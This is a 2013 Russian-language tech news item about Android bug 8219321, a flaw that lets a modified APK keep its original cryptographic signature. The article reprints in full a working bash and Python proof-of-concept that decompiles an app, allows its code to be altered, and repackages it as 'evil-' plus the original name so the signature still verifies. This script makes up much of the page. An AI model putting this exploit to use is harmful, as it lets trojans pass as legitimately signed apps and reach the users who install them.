Опубликован код для подмены APK с сохранением цифровой подписи на Android-устройствах

10.07.2013 | 10:52
Опубликован код для подмены APK с сохранением цифровой подписи на Android-устройствах
Несколько дней назад компания Bluebox Security анонсировала, что на конференции Black Hat USA 2013, которая начнется 27 июля 2013 года, они расскажут о феерической уязвимости в модели безопасности операционной системы Android, которая позволяет злоумышленнику модифицировать содержимое файла APK, не меняя его криптографической подписи. Другими словами, в любое приложение можно добавить троян, сохранив криптографическую подпись оригинального автора приложения.

Уязвимость существует уже четыре года, начиная с Android 1.6, то есть присутствует как минимум в 900 миллионах устройств. О баге сообщено в Google в феврале, он зарегистрирован под номером 8219321 и вроде бы уже закрыт в новых версиях прошивок Samsung, но остался на всех остальных устройствах.

Хакеры из компании Via Forensics не стали дожидаться конференции — и опубликовали PoC код эксплойта.

Декомпиляцию, внедрение кода и повторную компиляцию APK можно осуществить с помощью программы для обратной разработки APKTool.

Простой код, опубликованный ниже, эксплуатирует уязвимость операционной системы Android, которая проверяет подпись оригинального файла, но при этом устанавливает его обновленную версию.

#!/bin/bash
# PoC for Android bug 8219321 by @pof
# +info: https://jira.cyanogenmod.org/browse/CYAN-1602
if [ -z $1 ]; then echo "Usage: $0 " ; exit 1 ; fi
APK=$1
rm -r out out.apk tmp 2>/dev/null
java -jar apktool.jar d $APK out
#apktool d $APK out
echo "Modify files, when done type 'exit'"
cd out
bash
cd ..
java -jar apktool.jar b out out.apk
#apktool b out out.apk
mkdir tmp
cd tmp/
unzip ../$APK
mv ../out.apk .
cat >poc.py <<-EOF
#!/usr/bin/python
import zipfile
import sys
z = zipfile.ZipFile(sys.argv[1], "a")
z.write(sys.argv[2])
z.close()
EOF
chmod 755 poc.py
for f in `find . -type f |egrep -v "(poc.py|out.apk)"` ; do ./poc.py out.apk "$f" ; done
cp out.apk ../evil-$APK
cd ..
rm -rf tmp out
echo "Modified APK: evil-$APK"
код, подмена APK, цифровая подпись, Android
По материалам xakep.ru
Лента новостей: FacebookLiveJournalЯндекс

Комментарии (0)
Оставьте комментарий:CaptchaОбновить проверочный код